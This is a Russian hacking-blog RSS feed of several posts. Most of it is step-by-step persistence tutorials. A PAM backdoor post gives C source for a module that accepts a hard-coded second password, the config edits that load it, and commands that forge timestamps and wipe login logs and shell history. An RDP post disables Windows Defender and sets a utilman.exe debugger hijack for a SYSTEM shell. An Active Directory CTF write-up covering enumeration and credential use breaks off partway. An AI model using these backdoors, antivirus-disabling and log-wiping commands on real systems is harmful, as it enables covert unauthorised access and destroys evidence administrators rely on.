    <img src="https://img1.teletype.in/files/0e/41/0e41cbb3-4cf0-43fd-af97-4ebda6459359.png" width="648" />
  </figure>
  <p id="a1iu">Стоить добавить, что данная лазейка работает для любых аккаунтов, существующих на хосте. Например:</p>
  <figure id="d6Ii" class="m_original">
    <img src="https://img2.teletype.in/files/93/5f/935fd628-031d-432e-b6a1-9306fea70213.png" width="636" />
  </figure>
  <p id="mIQL">Как видно, мы не задавали пароль пользователю и он успешно смог войти. Также и для su:</p>
  <figure id="Rlsd" class="m_column">
    <img src="https://img1.teletype.in/files/42/66/4266560b-2d2e-47dc-a9a4-b2e7529953e8.png" width="599" />
  </figure>
  <h2 id="eOaN">Заключение</h2>
  <p id="TpmE">Как я и говорил, данный способ является чуть более незаметным с точки зрения количества файлов, нежели добавление нового модуля, но требует компиляции на целевом хосте из-за некоторых особенностей, что может стать серьезной проблемой скрытия своего присутствия. Помимо этого, может возникнуть множество непредвиденных казусов (ошибки компиляции), которые требуют лишней активности.</p>
  <section style="background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="9cCX"><em>UPD: Это был первый опыт разбиения статьи на части. Данная тема достаточно обширна, и показанные мной способы одни из множества вариантов в данном векторе. Надеюсь, изложение материала вам понравилось и всё было понятно. До новых встреч!</em></p>
  </section>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@hackerblog/pam_backdoor_part_1</guid><link>https://teletype.in/@hackerblog/pam_backdoor_part_1?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=hackerblog</link><comments>https://teletype.in/@hackerblog/pam_backdoor_part_1?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=hackerblog#comments</comments><dc:creator>hackerblog</dc:creator><title>PAM backdoor by artrone ЧАСТЬ 1/2</title><pubDate>Sat, 20 Jan 2024 12:15:17 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/7f/0d/7f0d57be-eadb-4cc9-be07-fbae9b476d37.png"></media:content><description><![CDATA[<img src="https://img1.teletype.in/files/4e/fb/4efbd0c0-4915-4f8c-9cb8-53ea64796344.jpeg"></img>Внимание! Статья несёт исключительно информативный характер. Подобные действия преследуются по закону!]]></description><content:encoded><![CDATA[
  <section style="background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="zolc"><strong>Внимание!</strong> С<em>татья несёт исключительно информативный характер. Подобные действия преследуются по закону!</em></p>
  </section>
  <p id="4J8t"><strong>Привет!</strong> В двух статьях мы сфокусируемся на том, как злоумышленники могут использовать модуль PAM для создания backdoor&#x27;ов, погрузимся в мир аутентификации, раскроем работу PAM под капотом, научимся скрывать свои следы и, самое главное, реализуем это всё на практике.</p>
  <p id="jWOZ">И помни, </p>
  <blockquote id="bv6K">&quot;Ни одна система не является безопасной.&quot; ©MRX</blockquote>
  <h2 id="9d5b">Немножко теории</h2>
  <p id="KyXt"><strong>PAM (Pluggable Authentication Modules)</strong> - это набор разделяемых библиотек, которые позволяют интегрировать различные низкоуровневые методы аутентификации в виде единого высокоуровневого API.</p>
  <p id="ZWnz">PAM используется везде, где требуется аутентификация пользователя или проверка его прав. Например, при подключении через SSH или FTP, а также при повышении привилегий через команду sudo.</p>
  <p id="Eqvx">Модули PAM находятся в директории lib/security для старых операционных систем типа CentOS и в директории /usr/lib/x86_64-linux-gnu/security для современных ОС вроде последних релизов Ubuntu. Конфигурационные файлы PAM — в директории /etc/pam.d.</p>
  <p id="4BFh">Наглядная схема работы PAM:</p>
  <figure id="98t6" class="m_column">
    <img src="https://img2.teletype.in/files/53/5f/535fc975-9ab0-4400-bdb2-6c219783173e.png" width="1024" />
  </figure>
  <p id="sOgZ"><em>Подробнее о PAM можно почитать здесь: <a href="https://habr.com/ru/companies/slurm/articles/694222/" target="_blank">https://habr.com/ru/companies/slurm/articles/694222/</a></em></p>
  <h2 id="8lsj">Вводная информация</h2>
  <p id="hugo">Итак, представим ситуацию: мы скомпрометировали хост, получив УЗ root&#x27;a. Безусловно, нам необходимо закрепиться в системе. Способов существует у-у-у-у-йма: от запланированной задачки в cron до руткитов. Но мы <s>захотели повыёбываться</s> выбрали проверенный временем способ: модуль PAM.</p>
  <p id="BWe8">У нас есть 2 пути:</p>
  <ol id="xgLy">
    <li id="Elvx">Использование готовых решений</li>
    <li id="AmXh">Трайхардить ручками</li>
  </ol>
  <p id="J5kY">Очевидно, для развития скиллов, выберем вариант под номером 2. Но, если вы ленивый человек, то вам сюда: <a href="https://github.innominds.com/rek7/madlib" target="_blank">https://github.innominds.com/rek7/madlib</a></p>
  <p id="ha5h">Также доступен следующий выбор:</p>
  <ol id="kVkO">
    <li id="4l0Y">Написать свой модуль (рассмотрен в этой части)</li>
    <li id="xB7b">Модифицировать существующий модуль (рассмотрен в следующей части)</li>
  </ol>
  <p id="1pmk">Рассмотрим оба способа.</p>
  <h2 id="Iw8A">Перейдем к практике</h2>
  <h3 id="2mlw">Способ 1. Пишем свой модуль</h3>
  <p id="UzXv">Итак, в роле целевого хоста будет выступать Kali. В роле атакующего- Xubuntu</p>
  <figure id="vpyO" class="m_column">
    <img src="https://img2.teletype.in/files/1b/26/1b263dd8-3f42-4e6c-8210-68dbb844e517.png" width="1313" />
  </figure>
  <p id="qxYG">Если кратко, то нашей целью является <u>дополнительный</u> самописный модуль проверки пароля.<br />Например, мы хотим &quot;добавить&quot; дополнительный пароль для пользователя root. Пусть его оригинальный пароль - &#x27;kali&#x27;, а добавленный нами - &#x27;bye&#x27;.</p>
  <p id="cm7B">В таком случае, пользователь root будет иметь уже 2 пароля. Важно отметить, что <u>новый модуль будет проверять только придуманный нами пароль, </u>будто это дополнительное условие проверки  в вашем коде.</p>
  <p id="Xzr8">Итак, приступим.</p>
  <p id="OCwR">Поскольку модули написаны на языке С (редко на С++), то после их написания, необходима их компиляция. Соответственно, файлы имеют расширение *.so. Это значит, что нам тоже нужно будет компилировать наш модуль.</p>
  <p id="ynZu">Вот как можно посмотреть стандартные решения:<br /><code>ls /usr/lib/x86_64-linux-gnu/security/</code></p>
  <figure id="6tmC" class="m_column">
    <img src="https://img1.teletype.in/files/04/c6/04c6cafc-726c-40e9-894e-85a39763875d.png" width="762" />
  </figure>
  <p id="ftBg">Для начала, давайте создадим проект и назовем его test.c, затем поместим в него следующий код:</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="XrlL" data-lang="c">#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;security/pam_appl.h&gt;
#include &lt;security/pam_modules.h&gt;

#define MYPASSWD &quot;bye&quot; //change this

PAM_EXTERN int pam_sm_setcred
(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_acct_mgmt
(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_authenticate
(pam_handle_t *pamh, int flags,int argc, const char **argv) {
    char *password = NULL;

     pam_get_authtok(pamh, PAM_AUTHTOK, (const char **)&amp;password, NULL);

    if (!strncmp(password, MYPASSWD, strlen(MYPASSWD)))
        return PAM_SUCCESS;

    return -1;
}
</pre>
  </section>
  <p id="2QuW"><em>Не забывайте поменять придуманный пароль в 7 строке :)</em></p>
  <p id="h7Bd">Немножко пробежимся по коду:<br />• <strong>pam_sm_authenticate</strong>  осуществляет аутентификацию пользователя. Она проверяет предоставленный пользователем пароль и возвращает PAM_SUCCESS в случае успеха.<br />• <strong>pam_sm_acct_mgmt</strong> проверяет параметры УЗ пользователя (например, проверка срока действия учетной записи).<br />• <strong>pam_sm_setcred</strong> устанавливает удостоверение пользователя (выдача доступа).</p>
  <p id="95s5">Теперь давайте скомпилим наш проект, предварительно установив нужные зависимости и компоненты:</p>
  <pre id="xtnM">apt install libpam0g-dev
gcc -fPIC -c -o test.o test.c
gcc -shared -o test.so test.o</pre>
  <figure id="fuMc" class="m_column">
    <img src="https://img4.teletype.in/files/b0/da/b0da66f9-c650-46d7-a5f9-ab7a8aeaf295.png" width="812" />
  </figure>
  <p id="qFJx">Переместим к другим файлам:</p>
  <p id="I4qL"><code>mv test.so /lib/x86_64-linux-gnu/security/</code></p>
  <figure id="OrNF" class="m_column">
    <img src="https://img2.teletype.in/files/55/92/5592b139-6739-474d-83b6-4506200a041e.png" width="781" />
  </figure>
  <p id="XoA3">Теперь давайте подключим наш модуль для авторизации с помощью SSH</p>
  <p id="FLn1">Просмотрим содержимое файла<code> /etc/pam.d/sshd </code></p>
  <figure id="Z4hR" class="m_column">
    <img src="https://img1.teletype.in/files/cd/7d/cd7d5300-dca9-4166-9a7a-8b234093d799.png" width="402" />
  </figure>
  <p id="cUT4">В самом начале видим подключение common-auth, которое нужно будет изменить.</p>
  <blockquote id="Xtit">Раньше логика взаимодействия была указана отдельно в каждом конфигурационном файле сервиса, то сейчас в новых версиях Linux используется подключение конфигурационных файлов <em>/etc/pam.d/common-account</em>, <em>/etc/pam.d/common-auth</em> и тд, которые используются в конфигурации <strong>pamd</strong> других сервисов.</blockquote>
  <p id="dDzW"><u>Это даёт нам возможность изменить всего лишь common-auth, при этом закрепившись в ssh, su и т.д.</u></p>
  <p id="3FAg">Давайте так и поступим:</p>
  <p id="l9yn"><code>nano /etc/pam.d/common-auth</code></p>
  <p id="jOa7">Было:</p>
  <figure id="S4Fc" class="m_original">
    <img src="https://img2.teletype.in/files/14/f4/14f43b60-fa32-4094-ba70-a29fcdd5f66a.png" width="490" />
  </figure>
  <p id="WSmt">Стало:</p>
  <figure id="2ndc" class="m_column">
    <img src="https://img3.teletype.in/files/2d/69/2d69856b-3a2e-4851-a689-cd6aeea1acd8.png" width="576" />
  </figure>
  <p id="6iHc"><code>systemctl restart ssh</code></p>
  <p id="Yw87">Пробуем подключиться:</p>
  <pre id="KyWz" data-lang="bash">ssh root@192.168.56.102
password: kali
success

ssh root@192.168.56.102
password: bye
success</pre>
  <figure id="pqnE" class="m_column">
    <img src="https://img2.teletype.in/files/dc/24/dc240781-2fdd-4e01-8679-e2f4ac034ff5.png" width="643" />
  </figure>
  <p id="vSAC"><strong>Однако, если вы, по-прежнему, хотите установить бэкдур <u>только для SSH,</u> то можете изменить /etc/pam.d/sshd следующим образом:</strong></p>
  <figure id="zTg2" class="m_original">
    <img src="https://img4.teletype.in/files/78/69/7869b525-a81b-4b4a-9115-2d154c79e15c.png" width="414" />
  </figure>
  <p id="Ot3o">Здесь мы взяли <code>auth sufficient  pam_unix.so nullok</code> из <code>/etc/pam.d/common-auth</code>, чтобы не приходилось изменять и его.</p>
  <p id="R8A4">Проверка:</p>
  <p id="bc2U">• Для пароля <code>bye</code>:</p>
  <figure id="15xD" class="m_original">
    <img src="https://img4.teletype.in/files/7a/00/7a00db3d-5855-4d6f-8d7c-0bb21978e6c5.png" width="646" />
  </figure>
  <p id="1B1w">• Для пароля <code>kali</code>:</p>
  <figure id="ItMt" class="m_original">
    <img src="https://img2.teletype.in/files/99/00/9900600e-e434-42a7-b6b4-948bf840fbe1.png" width="647" />
  </figure>
  <p id="rqaX">Как видно, такой вариант увенчался успехом.</p>
  <h2 id="7DIu">Заметаем следы</h2>
  <p id="XKeG">А теперь давайте замаскируем test.so, изменив его права, название и временные метки</p>
  <p id="Fx2N"><code>chmod 644 test.so</code></p>
  <p id="JE8J"><code>mv test.so pam_auth.so</code></p>
  <p id="JFuV"><em>Не забываем изменить названия в конфигах с <code>test.so</code> на <code>pam_auth.so</code></em></p>
  <pre id="oXFb">touch -r /lib/x86_64-linux-gnu/security/pam_rootok.so /lib/x86_64-linux-gnu/security/pam_auth.so</pre>
  <figure id="byfT" class="m_column">
    <img src="https://img1.teletype.in/files/4d/36/4d367903-5710-48c8-9eb0-ecf5ccefb576.png" width="597" />
  </figure>
  <p id="IHMm">Файл успешно замаскирован.</p>
  <p id="zynP">Также не забудем про ранее подредаченные <code>/etc/pam.d/sshd</code>и <code>/etc/pam.d/common-auth</code></p>
  <p id="wHj0"><code>touch -r /etc/pam.d/sudo /etc/pam.d/sshd</code></p>
  <p id="V0tM"><code>touch -r /etc/pam.d/sudo /etc/pam.d/common-auth</code></p>
  <p id="8NtP">Теперь подчистим логи:</p>
  <pre id="1y5v"># echo &gt; /var/log/wtmp
# echo &gt; /var/log/btmp
# echo &gt; /var/log/lastlog</pre>
  <pre id="gxzx">history -r
cat /dev/null &gt; ~/.bash_history</pre>
  <p id="9Ulw">Поздравляю! Вы смогли закрепиться в системе, написав свой модуль.</p>
  <p id="AWeF"><u>Для закрепления прочитанного, предлагаю посмотреть видеоинструкцию:</u> <a href="https://youtu.be/puf7jLTga1o" target="_blank">https://youtu.be/puf7jLTga1o</a></p>
  <h2 id="Lh3O">Вывод</h2>
  <p id="iJv9">Данный вариант закрепления не является очень надежным способом из-за создания нового файла, который более-менее опытный админ легко найдет. Также мы меняем конфиги, которые тоже можно сравнить с оригинальными. Помимо этого, мы компилили файл на целевом хосте, чего лучше не делать (по-хорошему, если это сервер, то не должно быть возможности компиляции файлов для обеспечения безопасности). Данный способ подойдет в качестве закрепления на хостах, чьи хозяева не являются уверенными пользователями Linux, которые с легкостью заподозрят неладное.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="8KZ0">Во второй части рассмотрим более скрытный способ, а также настроим логирование всех пользователей, которые вводят пароль в системе. До скорого :)</p>
  </section>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@hackerblog/dZPxTfphxc4</guid><link>https://teletype.in/@hackerblog/dZPxTfphxc4?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=hackerblog</link><comments>https://teletype.in/@hackerblog/dZPxTfphxc4?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=hackerblog#comments</comments><dc:creator>hackerblog</dc:creator><title>Persistence via RDP by artrone</title><pubDate>Fri, 29 Dec 2023 11:21:20 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/86/93/86938d43-3f8a-4cd4-81ca-7841345009ae.png"></media:content><description><![CDATA[<img src="https://img3.teletype.in/files/64/d9/64d94ef3-f7a7-4d90-912b-f7fd9af91afa.png"></img>Внимание! Статья несёт исключительно информативный характер. Подобные действия преследуются по закону!]]></description><content:encoded><![CDATA[
  <section style="background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="0XOi"><u><strong>Внимание!</strong> С<em>татья несёт исключительно информативный характер. Подобные действия преследуются по закону!</em></u></p>
  </section>
  <p id="7Dc5">Привет! Сегодня хотелось бы рассмотреть необычный способ закрепления в системе через RDP,  используя utilman.exe.</p>
  <p id="MHhS"></p>
  <p id="q7tO">Представим следующую ситуацию: нам удалось получить reverse shell от целевого хоста. Безусловно, нам необходим backdoor для обеспечения постоянного доступа. В процессе сканирования мы узнаем об открытом 3389 порте. И как нам быть?</p>
  <h3 id="p86I">Немного теории<br /></h3>
  <p id="zqrg"><strong>RDP (Remote Desktop Protocol)</strong> — это протокол для удаленного подключения к компьютеру или серверу с ОС Windows. С его помощью пользователи могут подключиться к удаленной машине и взаимодействовать с ее рабочим столом так, как если бы они физически находились перед ней. Чаще всего служба RDP используется для администрирования серверов, технической поддержки пользователей и удаленной работы.</p>
  <p id="jvEN"><strong>Utilman.exe</strong> — это служебная программа Windows, которая служит для запуска специальных возможностей на экране блокировки (экранный диктор, экранная клавиатура, лупа и т. п.).</p>
  <p id="W9Gf"><strong>Реестр Windows</strong> - иерархически построенная база данных параметров и настроек в большинстве операционных систем Microsoft Windows. Реестр содержит информацию и настройки для аппаратного обеспечения, программного обеспечения, профилей пользователей, предустановки.</p>
  <h3 id="Krz0"></h3>
  <h3 id="ko3k">Информация о жертве</h3>
  <p id="X0Cc"></p>
  <p id="CDgY">Сразу хотелось бы отметить, что целевой хост имеет следующую ОС:<br /></p>
  <figure id="fXyM" class="m_column">
    <img src="https://img1.teletype.in/files/c8/bc/c8bcb666-38f2-47af-9f55-ef2131f1bd40.png" width="453" />
  </figure>
  <p id="fGEb">Ключевой особенностью систем Windows Server является отключенное по умолчанию свойство &quot;Tamper Protection&quot;, которое обеспечивает дополнительную защиту от изменений ключевых функций безопасности, включая ограничение изменений, которые не вносятся непосредственно через приложение. Другими словами, запрещает другим вмешиваться в важные функции безопасности системы (<strong>запрещает изменение реестра</strong>).</p>
  <p id="fJr4">Если данная функция включена, то отключить ее можно разными методами, например: <a href="https://theitbros.com/managing-windows-defender-using-powershell/#:~:text=Tamper%20Protection%20is%20enabled%20in,action%20at%20the%20UAC%20prompt" target="_blank">https://theitbros.com/managing-windows-defender-using-powershell/#:~:text=Tamper%20Protection%20is%20enabled%20in,action%20at%20the%20UAC%20prompt</a></p>
  <p id="dj9P">Также обязательным условием является выключенный параметр &quot;Require computers to use Network Level Authentication to connect&quot;, который запрещает подключаться по RDP без конкретной УЗ. Иными словами, запрет на попадание на экран блокировки</p>
  <figure id="vIeN" class="m_original">
    <img src="https://img4.teletype.in/files/76/74/7674a9ea-c7c0-4479-877a-896a74b3a288.png" width="679" />
  </figure>
  <p id="YeRT">Отключение функции &quot;Require computers to use Network Level Authentication to connect&quot;: <a href="https://www.anyviewer.com/how-to/disable-network-level-authentication-2578.html" target="_blank">https://www.anyviewer.com/how-to/disable-network-level-authentication-2578.html</a></p>
  <p id="90ai"></p>
  <h3 id="CCL5">Практический пример</h3>
  <p id="hCw2"></p>
  <p id="EMuA">Допустим, мы каким-то чудом смоги получить обратную оболочку от имени Администратора хоста:</p>
  <figure id="HicZ" class="m_column">
    <img src="https://img2.teletype.in/files/dc/ac/dcac20d2-bd73-4c68-8bd1-d13127321b5c.png" width="795" />
  </figure>
  <p id="GtB4">Давайте проверим состояние активности антивируса (общий способ):</p>
  <p id="sfKt"><code>sc query WinDefend</code></p>
  <figure id="eDCx" class="m_column">
    <img src="https://img2.teletype.in/files/15/a4/15a44b48-731b-486e-963f-ab1d2e9d8671.png" width="795" />
  </figure>
  <p id="YhYL">Мы видим параметр &quot;NOT_STOPABLE&quot;, который говорит нам о том, что защита в реальном времени активна. Выключаем её:</p>
  <p id="9BLg"><code>powershell -command &quot;Set-MpPreference -DisableRealtimeMonitoring $true&quot;</code></p>
  <p id="QEB2">и опять проверим состояние антивируса:</p>
  <figure id="nrVy" class="m_column">
    <img src="https://img3.teletype.in/files/a4/ff/a4ff4466-bc38-47ec-b57f-44ad2eef204a.png" width="798" />
  </figure>
  <p id="fd2v">Также можно проверить другим способом:</p>
  <p id="vGTK"><code>powershell -command &quot;(Get-MpPreference).DisableRealtimeMonitoring&quot;</code></p>
  <p id="LiP0">Если эта команда возвращает значение False, то реальный мониторинг активен. Если True, то выключен.</p>
  <figure id="Cw0W" class="m_column">
    <img src="https://img1.teletype.in/files/c5/52/c55289dc-fa1d-4e6b-aa1b-6d93e8ed2a5f.png" width="794" />
  </figure>
  <p id="VRP1">Действительно, он выключен. Теперь, когда приготовления закончены, перейдем к закреплению:</p>
  <pre id="S4Qi">REG ADD &quot;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe&quot; /t REG_SZ /v Debugger /d &quot;C:\windows\system32\cmd.exe&quot; /f</pre>
  <figure id="mdOg" class="m_column">
    <img src="https://img4.teletype.in/files/f1/90/f190435b-391c-4fb9-8621-a87284487678.png" width="794" />
  </figure>
  <p id="zn2H"><em><u>Следующий шаг несет в себе возможную потерю backdoor&#x27;a.</u></em></p>
  <p id="C1qd">Теперь вернем Defender в исходное состояние:</p>
  <p id="BWuJ"><code>powershell -command &quot;Set-MpPreference -DisableRealtimeMonitoring $false&quot;</code></p>
  <p id="ERrK">и сразу проверим:</p>
  <p id="OaC4"><code>powershell -command &quot;(Get-MpPreference).DisableRealtimeMonitoring&quot;</code></p>
  <figure id="sE4j" class="m_column">
    <img src="https://img4.teletype.in/files/b7/e3/b7e3d513-7a7e-45bd-9204-16eed7f0fa6b.png" width="793" />
  </figure>
  <p id="z9ee">Прекращаем взаимодействие с хостом через обратную оболочку и подключаемся через rdesktop:<br /><code>rdesktop ip</code></p>
  <figure id="jXjl" class="m_column">
    <img src="https://img1.teletype.in/files/0f/ab/0fab195b-5958-48f5-a975-a39636b49e4b.png" width="792" />
  </figure>
  <p id="YfKp">При первом подключении принимаем сертификаты</p>
  <figure id="XbsG" class="m_column">
    <img src="https://img1.teletype.in/files/40/f7/40f79c4e-894c-4005-a5a6-7744f05f53f8.png" width="1021" />
  </figure>
  <p id="dmDq">Теперь нам осталось нажать на значок справа внизу или комбинацию клавиш <code>Win+U</code>:</p>
  <figure id="negx" class="m_column">
    <img src="https://img1.teletype.in/files/cc/de/ccdecd93-e64a-4507-a523-0b4156c1cc2d.png" width="1025" />
  </figure>
  <p id="inWM">Успех! Теперь у нас есть backdoor от имени системы.</p>
  <section style="background-color:hsl(hsl(55,  86%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="vc92"><strong><u>Кстати, вы заметили, что мы повысили свои права от Администратора до системы?)</u></strong></p>
  </section>
  <h3 id="8Psm">Но почему это так работает? </h3>
  <p id="vMdK"></p>
  <p id="m5TA">Если кратко, то некоторые сервисы, службы и т.д. работают в системе с наивысшими правами. В нашем случае, utilman.exe. Изменив в реестре исполняемый файл на cmd.exe, система запускает его, опять же, с наивысшими правами (nt authority\ system)</p>
  <h3 id="JYTF">Видео демонстрация атаки</h3>
  <p id="AaFm"><a href="https://www.youtube.com/watch?v=WZZT1F6lTww" target="_blank">https://www.youtube.com/watch?v=WZZT1F6lTww</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@hackerblog/codeby_kingdom_writeup</guid><link>https://teletype.in/@hackerblog/codeby_kingdom_writeup?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=hackerblog</link><comments>https://teletype.in/@hackerblog/codeby_kingdom_writeup?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=hackerblog#comments</comments><dc:creator>hackerblog</dc:creator><title>Codeby Games &quot;Kingdom&quot; writeup by cherepawwka</title><pubDate>Mon, 25 Dec 2023 14:00:33 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/80/3f/803ff964-c4b5-4d62-b380-15b40e6f7a28.png"></media:content><category>Взлом</category><description><![CDATA[<img src="https://img3.teletype.in/files/af/b7/afb7e931-72e2-4c4a-8546-669be081d0ba.webp"></img>Разбор задания &quot;Королевство&quot;]]></description><content:encoded><![CDATA[
  <p id="7Of7">Всем привет!</p>
  <p id="1RQk">Настало время пробежаться по основам атак на AD, и для примера я решил выбрать интересное задание с платформы <a href="https://codeby.games/" target="_blank">Codeby Games</a>: <a href="https://codeby.games/categories/active-directory/69365497-1462-40b8-abcf-48b40daba656" target="_blank">Королевство</a>!</p>
  <p id="lGM7">Приступим!</p>
  <h3 id="Разведка"></h3>
  <h3 id="WN4m">Разведка</h3>
  <p id="t8KQ">Описание задания выглядит следующим образом:</p>
  <figure id="7lk2" class="m_original">
    <img src="https://telegra.ph/file/cb7cd8d535c99aac6c9ea.png" width="673" />
    <figcaption>Описание задания</figcaption>
  </figure>
  <p id="f08y">Разведку начнём со сканирование портов, которое я осуществляю следующим скриптом:</p>
  <pre id="0ZhM">#!/bin/bash
ports=$(nmap -p- -Pn --min-rate=500 $1 | grep ^[0-9] | cut -d &#x27;/&#x27; -f 1 | tr &#x27;\n&#x27; &#x27;,&#x27; | sed s/,$//)
nmap -p$ports -Pn -A $1
</pre>
  <p id="nJx8">Ознакомимся с результатами:</p>
  <figure id="cdth" class="m_column">
    <img src="https://telegra.ph/file/4d1204a450b94d9ef7fbe.png" width="985" />
    <figcaption>Результаты работы nmap</figcaption>
  </figure>
  <p id="icY1">Мы видим набор портов, характерных для контроллера домена. Отсюда же мы получаем имя домена, который собираемся атаковать.</p>
  <p id="Ebji">Начнём изучение инфраструктуры со сканирования доступных SMB-шар. Делать мы это будем при помощи утилиты smbclient:</p>
  <pre id="Xccn">smbclient -L 192.168.2.4
</pre>
  <figure id="w2c9" class="m_column">
    <img src="https://telegra.ph/file/4de7c6f4c7b4a5f21445e.png" width="699" />
    <figcaption>Доступные шары</figcaption>
  </figure>
  <p id="OG1h">Мы видим несколько стандартных шар, характерных для Windows в целом и для контроллера домена в частности, а также одну, которая сильно выделяется на фоне остальных.</p>
  <p id="zqwz">Попробуем получить её содержимое:</p>
  <pre id="JMyV">smbclient //192.168.2.4/Docs

smb: \&gt; dir
</pre>
  <figure id="1LuS" class="m_column">
    <img src="https://telegra.ph/file/336573cdc26e9cc1e220a.png" width="611" />
  </figure>
  <p id="18nW">Мы видим немало директорий. Скопируем содержимое директорий на атакующую машину. Сделать это можно следующим способом:</p>
  <pre id="5S8p">mkdir Shares
cd Shares
smbclient //192.168.2.4/Docs

smb: \&gt; recurse on
smb: \&gt; prompt off
smb: \&gt; mget *
</pre>
  <figure id="TOD6" class="m_column">
    <img src="https://telegra.ph/file/f4249f3c404ac26b89167.png" width="581" />
    <figcaption>Копирование ресурсов на атакующую машину</figcaption>
  </figure>
  <p id="oxx3">Я заранее подготовил директорию Shares для организации рабочего пространства.</p>
  <p id="zNle">Пока файлы копируются, создадим файл с предполагаемыми пользователями домена:</p>
  <figure id="cOd2" class="m_column">
    <img src="https://telegra.ph/file/64fb5c1c37ead6bdf72f0.png" width="309" />
    <figcaption>Содержимое users.txt</figcaption>
  </figure>
  <p id="Fk25">Проверить валидных юзеров возможно при помощи инструмента <a href="https://github.com/ropnop/kerbrute" target="_blank">Kerbrute</a>:</p>
  <pre id="yV8Q">kerbrute_linux_amd64 userenum -d codeby.cdb --dc 192.168.2.4 users.txt
</pre>
  <figure id="AZME" class="m_column">
    <img src="https://telegra.ph/file/559bb71031139236f0dc9.png" width="835" />
    <figcaption>Обнаруженные пользователи домена</figcaption>
  </figure>
  <p id="PLOu">Теперь вернёмся к SMB, и проверим, что же мы выкачали с шары:</p>
  <figure id="Yihx" class="m_column">
    <img src="https://telegra.ph/file/4d8f71ef316fed8559303.png" width="455" />
    <figcaption>Пользовательские файлы с шары Docs</figcaption>
  </figure>
  <p id="sPXW">Наибольшее внимание нас привлекает записка notes.txt, давайте изучим её содержимое:</p>
  <figure id="fhUN" class="m_column">
    <img src="https://telegra.ph/file/cca71ef74f6587bb0d91b.png" width="373" />
    <figcaption>Содержимое записки пользователя amaslova</figcaption>
  </figure>
  <p id="ZWh7">Предположим, что мы наткнулись на не очень осведомленного в вопросах ИБ пользователя, который любит хранить пароли на записках. Что же, проверим, действительно ли мы имеем дело с паролем от учетной записи. Делать мы это будем при помощи фрэймворка <a href="https://github.com/byt3bl33d3r/CrackMapExec" target="_blank">crackmapexec</a>, предустановленного в Kali:</p>
  <figure id="hsKi" class="m_column">
    <img src="https://telegra.ph/file/5d85e21371d507a63d654.png" width="1066" />
    <figcaption>Полученные пользователи домена codeby.cdb</figcaption>
  </figure>
  <p id="Gr7M">Пароль верный, и мы получили первоначальный доступ!</p>
  <h3 id="Повышение-привилегий">Повышение привилегий</h3>
  <p id="r6fD">Учетная запись, которой мы владеем, не обладает какими-то выдающимися правами. Поэтому повышение привилегий мы начнем с... разведки!</p>
  <p id="wZBL">Для разведки можно использовать несколько инстурментов, типа <code>ldapsearch</code>, <code>ldapdomaindump</code>, <code>rpcclient</code> и т.п. Я же предпочту сетевой вариант коллектора для bloodhound. Установить и запустить его можно следующим образом:</p>
  <pre id="UEzu">pip install bloodhound
bloodhound-python -u &#x27;amaslova&#x27; -p &#x27;NeverGiv3up&#x27; -ns 192.168.2.4 -d codeby.cdb -c all --zip
</pre>
  <figure id="x3Ak" class="m_column">
    <img src="https://telegra.ph/file/250f5c53316635cf84f20.png" width="978" />
    <figcaption>Сбор информации о домене с использованием bloodhound</figcaption>
  </figure>
  <p id="UXZD">Сбор информации прошел успешно, следовательно, запустим BloodHound, загрузим туда собранный архив и начнем анализ информации:</p>
  <pre id="vR7N">neo4j start
bloodhound
</pre>
  <figure id="500e" class="m_column">
    <img src="https://telegra.ph/file/3973db569765c247a351f.png" width="1049" />
    <figcaption>Загрузка информации в BloodHound</figcaption>
  </figure>
  <p id="6NmC">Здесь я не буду подробно останавливаться на всех возможностях и преднастроенных запросах BloodHound, о них вы можете чуть подробнее почитать в документации и моей прошлой статье из цикла разборов тасков на AD:</p>
  <figure id="aDna" class="m_column">
    <iframe src="https://telegra.ph/embed/telegram?url=https%3A%2F%2Ft.me%2FCherepawwkaChannel%2F227"></iframe>
    <figcaption>Прохождение комнаты VulnNet: Roasted на TryHackMe</figcaption>
  </figure>
  <p id="gBKm">Заглянув во вкладку анализа, мы находим важную для дальнейшей эксплуатации информацию:</p>
  <figure id="hfVI" class="m_column">
    <img src="https://telegra.ph/file/ad33dc40ec35a816efd29.png" width="857" />
    <figcaption>Kerberoastable Accounts</figcaption>
  </figure>
  <figure id="Z7Vy" class="m_column">
    <img src="https://telegra.ph/file/682346e286de3d2ee3495.png" width="1187" />
    <figcaption>Principals with DCSync Rights</figcaption>
  </figure>
  <figure id="oqwl" class="m_column">
    <img src="https://telegra.ph/file/0d5623b5a0ca21f9fda9c.png" width="792" />
    <figcaption>PSRemote пользователя dsemenov</figcaption>
  </figure>
  <p id="bCGT">Таким образом, мы теоретически можем завладеть учетной записью <strong>dsemenov@codeby.cdb</strong>, у которой есть права на подключение к контроллеру домену при помощи WinRM. А завладеть мы её можем из-за того, что эта учетная запись подвержена атаке Kerberoasting, про которую я также писал в вышеупомянутой статье.</p>
  <p id="9stk">Начнём эксплуатацию!</p>
